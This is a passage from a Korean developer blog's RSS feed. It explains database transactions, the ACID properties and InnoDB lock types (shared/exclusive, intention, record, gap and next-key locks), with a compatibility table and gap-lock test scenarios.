&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://willbfine.tistory.com/576?category=971447&quot;&gt;https://willbfine.tistory.com/576?category=971447&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hudi.blog/jpa-concurrency-control-optimistic-lock-and-pessimistic-lock/&quot;&gt;https://hudi.blog/jpa-concurrency-control-optimistic-lock-and-pessimistic-lock/&lt;/a&gt;&lt;/p&gt;</description>
      <category>스프링</category>
      <category>JPA Lock</category>
      <category>JPA 낙관적락</category>
      <category>JPA 동시성</category>
      <category>JPA 비관적락</category>
      <category>Optimistic Lock</category>
      <category>Pessimistic Lock</category>
      <category>낙관적락 비관적락 차이</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/58</guid>
      <comments>https://cjw-awdsd.tistory.com/58#entry58comment</comments>
      <pubDate>Sun, 2 Apr 2023 00:19:54 +0900</pubDate>
    </item>
    <item>
      <title>Transaction &amp;amp; InnoDB Lock 개념/예제</title>
      <link>https://cjw-awdsd.tistory.com/57</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;현업 개발에서 JPA또는 Query를 짜면서 DB작업을 해오면서 최근에 DB에 대한 지식이 부족한 것 같아 이번에 &lt;code&gt;트랜잭션&lt;/code&gt;과 &lt;code&gt;Lock&lt;/code&gt; 관련된 내용과 예제를 정리해놓으려한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공부하면서 정리하다보니 잘못된 정보가 있을 수 있다. 만약 잘못된 내용이 있다면 댓글로 알려주시길 바랍니다..&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Transaction이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB의 상태를 변환시키는 하나의 논리적 기능을 수행하기 위한 작업의 &lt;b&gt;단위&lt;/b&gt; 또는 &lt;b&gt;한꺼번에 수행되어야할 일련의 연산&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말하면 여러 &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt; SQL 구문이 모두 처리되어야하는 &lt;b&gt;하나의 프로세스&lt;/b&gt;가 있다면 이 프로세스가 &lt;b&gt;완전히 성공&lt;/b&gt;하거나 중간에 &lt;b&gt;실패&lt;/b&gt;하면 프로세스를 &lt;b&gt;실행하기 전 상태로 롤백&lt;/b&gt;하는 기능이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Transaction 특징(ACID)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Atomicity(원자성)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;트랜잭션&lt;/code&gt;이 DB에 &lt;b&gt;모두 반영&lt;/b&gt; 또는 &lt;b&gt;전혀 반영되지 않아야함&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;트랜잭션&lt;/code&gt; 내 모든 명령은 완벽히 수행돼야하며 하나라도 오류가 발생하면 전부 취소 돼야함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Consistency(일관성)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;트랜잭션&lt;/code&gt;의 작업 처리 결과가 항상 일관성이 있어야함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Isloation(독립성)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;둘 이상의 &lt;code&gt;트랜잭션&lt;/code&gt;이 동시에 실행되고 있을 경우 어떤 하나의 &lt;code&gt;트랜잭션&lt;/code&gt;이라도 다른 &lt;code&gt;트랜잭션&lt;/code&gt; 연산에 끼어들 수 없음&lt;/li&gt;
&lt;li&gt;수행 중인 트랜잭션은 완전히 완료될 때까지 다른 &lt;code&gt;트랜잭션&lt;/code&gt;에서 수행 결과를 참조할 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Durability(지속성)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;트랜잭션&lt;/code&gt;이 성공적으로 완료됐을 경우, 결과는 영구적으로 반영됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Lock&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;DB Isolation level&lt;/code&gt;을 설명하기 전에 &lt;code&gt;InnoDB&lt;/code&gt;에서 사용 하는 &lt;code&gt;Lock&lt;/code&gt;의 종류를 먼저 설명하고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Lock&lt;/code&gt;이란 &lt;b&gt;ACID&lt;/b&gt; 원칙과 &lt;b&gt;동시성&lt;/b&gt;을 최대한 보장하기 위한 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Lock&lt;/code&gt; 종류는 다음과 같다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Shared and Exclusive Locks&lt;/li&gt;
&lt;li&gt;Intention Locks&lt;/li&gt;
&lt;li&gt;Record Locks&lt;/li&gt;
&lt;li&gt;Gap Locks&lt;/li&gt;
&lt;li&gt;Next-Key Locks&lt;/li&gt;
&lt;li&gt;AUTO-INC Locks&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. Shared and Exclusive Locks (Row-Level Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블 행(&lt;code&gt;Row&lt;/code&gt;)마다 걸리는 &lt;code&gt;Lock&lt;/code&gt;을 &lt;code&gt;Row-Level Lock&lt;/code&gt;(행 기반)이라 하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Shared Lock(S-Lock)&lt;/code&gt;, &lt;code&gt;Exclusive Lock(X-Lock)&lt;/code&gt; 두 종류가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;S-Lock&lt;/code&gt;은 행을 읽기(&lt;code&gt;read&lt;/code&gt;) 위해 획득해야하는 &lt;code&gt;Lock&lt;/code&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;일반적인 &lt;code&gt;SELECT&lt;/code&gt; 구문은 &lt;code&gt;Lock&lt;/code&gt;을 획득하지 않아도 읽기가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만 &lt;code&gt;SELECT FOR SHARED&lt;/code&gt;등과 같은 구문은 각 &lt;code&gt;Row&lt;/code&gt;에 &lt;code&gt;S-Lock&lt;/code&gt;을 건다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;X-Lock&lt;/code&gt; 은 쓰기(&lt;code&gt;Write&lt;/code&gt;)에 대한 &lt;code&gt;Lock&lt;/code&gt;이다. 즉, &lt;code&gt;DELETE&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt; 등을 수행할 때 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 &lt;code&gt;SELECT FOR UPDATE&lt;/code&gt;&amp;nbsp;또한&amp;nbsp;&lt;code&gt;X-Lock&lt;/code&gt;을 건다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;S-Lock&lt;/code&gt; 과 &lt;code&gt;X-Lock&lt;/code&gt;은 다음과 같은 특징을 가진다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 &lt;code&gt;Row&lt;/code&gt;에 &lt;code&gt;S-Lock&lt;/code&gt;을 걸 경우 다른 &lt;code&gt;트랜잭션&lt;/code&gt;도 해당 &lt;code&gt;Row&lt;/code&gt;에 &lt;code&gt;S-Lock&lt;/code&gt;을 걸 수 있다. 즉 여러 &lt;code&gt;트랜잭션&lt;/code&gt;에서 &lt;code&gt;SELECT FOR SHARED&lt;/code&gt;구문을 사용해 &lt;b&gt;같은 행을 동시에 읽을 수 있다.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;특정 &lt;code&gt;Row&lt;/code&gt; 에 &lt;code&gt;S-Lock&lt;/code&gt;을 걸 경우 다른 &lt;code&gt;트랜잭션&lt;/code&gt;이 해당 &lt;code&gt;Row&lt;/code&gt;에 &lt;code&gt;X-Lock&lt;/code&gt;을 걸 수 없다. 즉 &lt;code&gt;S-Lock&lt;/code&gt;이 걸린 행에는 &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;을 수행할 수 없다.&lt;/li&gt;
&lt;li&gt;특정 &lt;code&gt;Row&lt;/code&gt;에 &lt;code&gt;X-Lock&lt;/code&gt;을 걸 경우 다른 &lt;code&gt;트랜잭션&lt;/code&gt;은 &lt;code&gt;S-Lock&lt;/code&gt;, &lt;code&gt;X-Lock&lt;/code&gt; 모두 걸 수 없다. 즉 수정, 삭제되는 &lt;code&gt;Row&lt;/code&gt;는 다른 &lt;code&gt;트랜잭션&lt;/code&gt;에서 &lt;code&gt;SELECT FOR SHARE&lt;/code&gt; &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DLETE&lt;/code&gt; 모두 불가능하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면 &lt;code&gt;S-Lock&lt;/code&gt;끼리는 서로 같은 &lt;code&gt;Row&lt;/code&gt;를 접근할 수 있지만 &lt;code&gt;X-Lock&lt;/code&gt; 걸린 &lt;code&gt;Row&lt;/code&gt;는 무조건 해당 &lt;code&gt;트랜잭션&lt;/code&gt;에서만 접근 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Intention Locks&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;InnoDB&lt;/code&gt;는 &lt;code&gt;multiple granularity lock(MGL)&lt;/code&gt;을 지원한다. &lt;code&gt;MGL&lt;/code&gt;은 &lt;code&gt;Row Lock&lt;/code&gt; 과 &lt;code&gt;Table Lock&lt;/code&gt;이 공존하는 것을 허용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;code&gt;Intention Lock&lt;/code&gt;은 &lt;code&gt;*Table-Level Lock*&lt;/code&gt; 을 의미한다.&lt;br /&gt;&lt;code&gt;Intention Lock&lt;/code&gt;은 두가지가 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Intention Shared Lock(IS)&lt;/li&gt;
&lt;li&gt;Intention Exclusive Lock(IX)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;SELECT FOR SHARED&lt;/code&gt; 구문이 실행되면 테이블에 &lt;code&gt;IS&lt;/code&gt; 를 걸고 나서 &lt;code&gt;S-Lock&lt;/code&gt; 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;code&gt;IS&lt;/code&gt; 는 &lt;code&gt;S-Lock&lt;/code&gt; 을 걸 &lt;b&gt;의향이 있음을 의미&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;SELECT FOR UPDATE&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt; 구문이 실행되면 테이블에 &lt;code&gt;IX&lt;/code&gt; 걸고 나서 &lt;code&gt;X-Lock&lt;/code&gt;이 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;code&gt;IX&lt;/code&gt; 또한 &lt;code&gt;X-Lock&lt;/code&gt;을 걸 의향이 있음을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;IX&lt;/code&gt;, &lt;code&gt;IS&lt;/code&gt; 서로는 동시에 접근 가능하지만 &lt;code&gt;S-Lock&lt;/code&gt;, &lt;code&gt;X-Lock&lt;/code&gt;을 걸 경우 접근 제어를 하게됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EX) 특정 &lt;code&gt;Row&lt;/code&gt;를 &lt;b&gt;수정할 때&lt;/b&gt;&amp;nbsp;다른 &lt;code&gt;트랜잭션&lt;/code&gt;에서 해당 &lt;code&gt;Row&lt;/code&gt;를 &lt;b&gt;삭제&lt;/b&gt;하는 경우 각 &lt;code&gt;트랜잭션&lt;/code&gt;은 &lt;code&gt;IX&lt;/code&gt;을 가지지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;X-Lock&lt;/code&gt;은 &lt;b&gt;수정&lt;/b&gt; &lt;code&gt;트랜잭션&lt;/code&gt;이 가지고 있기에 &lt;b&gt;삭제&lt;/b&gt; &lt;code&gt;트랜잭션&lt;/code&gt;은 접근할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;LOCK TABLES&lt;/code&gt;, &lt;code&gt;ALTER TABLE&lt;/code&gt;, &lt;code&gt;DROP TABLE&lt;/code&gt; 구문이실행되면 &lt;code&gt;IS&lt;/code&gt;, &lt;code&gt;IX&lt;/code&gt;를 모두 막는 &lt;code&gt;Lock&lt;/code&gt;이 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 &lt;code&gt;IS&lt;/code&gt;, &lt;code&gt;IX&lt;/code&gt; 걸려있는 테이블에는 위 구문을 실행할 수 없다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 왜 &lt;code&gt;Intention Lock&lt;/code&gt;을 사용할까? 굳이 &lt;code&gt;IX&lt;/code&gt;, &lt;code&gt;IS&lt;/code&gt;를 사용하지 않더라도 &lt;br /&gt;&lt;code&gt;X-Lock&lt;/code&gt;, &lt;code&gt;S-Lock&lt;/code&gt;선에서 접근 못하게 막을 수 있을텐데?&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://stackoverflow.com/questions/33166066/why-do-we-need-intent-lock&quot;&gt;https://stackoverflow.com/questions/33166066/why-do-we-need-intent-lock&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 Stackoverflow의 답변을 이해하면 다음과 같다&lt;br /&gt;해당 테이블에 &lt;code&gt;X-Lock&lt;/code&gt;, &lt;code&gt;S-Lock&lt;/code&gt;가 존재한다는 것을 즉시 알 수 있음(해당 테이블 자체에 대한 변경이 필요할 때 &lt;code&gt;row lock&lt;/code&gt;을 모두 살펴서 &lt;code&gt;X-Lock&lt;/code&gt;,&lt;code&gt;S-Lock&lt;/code&gt; 가 존재하는지 확인하는 것은 성능상 좋지 않음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 간단히 말하면 &lt;code&gt;Intention Lock&lt;/code&gt;이 있는 이유는 &lt;b&gt;트랜잭션이 해당 테이블에 대해 잠금을 획득했는지 여부를 바로 알기 위해서다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 각 &lt;code&gt;Lock&lt;/code&gt;들간의 호환성을 나타낸다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;IX&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;S&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;IS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;IX&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;S&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;IS&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Conflict&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Complatible&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. Record Lock&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Record Lock&lt;/code&gt;은 &lt;code&gt;PK&lt;/code&gt;, &lt;code&gt;Unique Index&lt;/code&gt; 등을 통해 &lt;code&gt;Index&lt;/code&gt; 참조로 접근하는 데이터에 거는 &lt;code&gt;Lock&lt;/code&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;code&gt;SELECT c1 FROM t where c1 = 10 FOR UPDATE;&lt;/code&gt; 구문을 수행하면 &lt;code&gt;t.c1=10&lt;/code&gt;인 &lt;code&gt;Index&lt;/code&gt;에 &lt;code&gt;X-Lock&lt;/code&gt;이 걸린다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;code&gt;Index&lt;/code&gt;가 없으면 &lt;code&gt;InnoDB&lt;/code&gt;에서 가상의 &lt;code&gt;Clustered Index&lt;/code&gt;를 생성해 해당 &lt;code&gt;Index&lt;/code&gt;를 통해 &lt;code&gt;Lock&lt;/code&gt;을 건다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. Gap Locks&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Gap Lock&lt;/code&gt; 은 인덱스 레코드들 사이에 있는 영역에 대한 잠금이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 &lt;code&gt;id=3,7&lt;/code&gt; 만 있는 테이블에 &lt;code&gt;Index&lt;/code&gt;가 걸려있다 해보자.&lt;/p&gt;
&lt;pre class=&quot;gherkin&quot;&gt;&lt;code&gt;    Index table               Database
-------------------          ---------
| id  | row addr  |          |  id   |
-------------------          ---------
|  3  | addr to 3 |---------&amp;gt;|   3   |
|  7  | addr to 7 |---------&amp;gt;|   7   |
-------------------          ---------
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서는 &lt;code&gt;id &amp;lt; 3&lt;/code&gt;, &lt;code&gt;3 &amp;lt; id &amp;lt; 7&lt;/code&gt;, &lt;code&gt;7 &amp;lt; id&lt;/code&gt; 부분에 &lt;code&gt;Index Record&lt;/code&gt;가 없는데 이 부분을 &lt;code&gt;Gap&lt;/code&gt;이라 하고 여기에 &lt;code&gt;Lock&lt;/code&gt;을 거는 것을 &lt;code&gt;Gap Lock&lt;/code&gt; 이라 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Gap Lock&lt;/code&gt;은 해당 &lt;code&gt;Gap&lt;/code&gt;에 새로운 &lt;code&gt;Row&lt;/code&gt;가 1&lt;code&gt;*삽입*&lt;/code&gt;되는 것을 방지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. Next-Key Lock&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Next-Key Lock&lt;/code&gt;은 &lt;code&gt;Gap Lock&lt;/code&gt;, &lt;code&gt;Record Lock&lt;/code&gt; 을 함께 사용하는 &lt;code&gt;Lock&lt;/code&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 &lt;code&gt;Lock&lt;/code&gt;은 &lt;code&gt;REPEATABLE READ&lt;/code&gt;에서 발생하는 &lt;code&gt;Phantom Read&lt;/code&gt;를 막기 위해 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 더 자세히 설명하면 &lt;code&gt;Next-Key Lock&lt;/code&gt;은 &lt;code&gt;Record-Lock&lt;/code&gt;이 걸린 &lt;code&gt;Row&lt;/code&gt;의 앞 뒤 인덱스까지 &lt;code&gt;Gap Lock&lt;/code&gt;을 거는 것을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 위 &lt;code&gt;Gap Lock&lt;/code&gt;처럼 &lt;code&gt;Id=3,7&lt;/code&gt; 있는 &lt;code&gt;Table&lt;/code&gt;에 &lt;code&gt;Id=4 FOR UPDATE&lt;/code&gt;를 검색후 다른 세션에서 &lt;code&gt;Id=5&lt;/code&gt; &lt;code&gt;Insert&lt;/code&gt;를 시도하면 &lt;code&gt;Lock&lt;/code&gt;이 걸리게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 &lt;code&gt;Id=4&lt;/code&gt;를 기준으로 앞뒤의 가장 근접한 &lt;code&gt;Index Row&lt;/code&gt;는 &lt;code&gt;3,7&lt;/code&gt;이기에 &lt;code&gt;3 &amp;lt; x &amp;lt; 4, 4 &amp;lt; x &amp;lt; 7&lt;/code&gt;에 &lt;code&gt;Gap Lock&lt;/code&gt;이 걸리기 때문에 &lt;code&gt;Id=5 Insert&lt;/code&gt;에 &lt;code&gt;Lock&lt;/code&gt;이 걸린다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Gap Lock&lt;/code&gt;, &lt;code&gt;Next-Key Lock&lt;/code&gt; 테스트를 봐보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmdybu/btrO30Y4WkQ/xSG2FMtf4qsDBIGikDj0WK/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;C Table&lt;/code&gt;에 위와 같이 데이터 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황1&lt;/b&gt; : &lt;code&gt;BETWEEN 3 AND 7&lt;/code&gt; 일시 &lt;code&gt;Id=4 Insert Lock&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JYbkW/btrPa4euqRw/lqkiPsKC4SZiFk46xBalKK/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;BETWEEN 3 AND 7&lt;/code&gt; 수행 후 &lt;code&gt;Session1&lt;/code&gt;에서 &lt;code&gt;Id=4&lt;/code&gt; &lt;code&gt;Insert&lt;/code&gt; 수행시 &lt;code&gt;Gap Lock&lt;/code&gt; 걸린 것을 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황2&lt;/b&gt; : &lt;code&gt;BETWEEN 5 AND 5&lt;/code&gt; 일시 &lt;code&gt;Id=4, 6 Insert&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brCOP2/btrO9AyVKc4/1LHtFZslNV02P4khhbtOH0/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lfbcN/btrPaHqh7aV/7z1KHopRan9CjoKOGN29ck/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 &lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;BETWEEN 5 AND 5&lt;/code&gt; 수행 후 &lt;code&gt;Session1&lt;/code&gt;에서 &lt;code&gt;Id=4&lt;/code&gt;, &lt;code&gt;Id=6&lt;/code&gt;인 &lt;code&gt;Insert&lt;/code&gt;를 수행하면 &lt;code&gt;Gap Lock&lt;/code&gt;이 걸리는 것을 확인&lt;/p&gt;
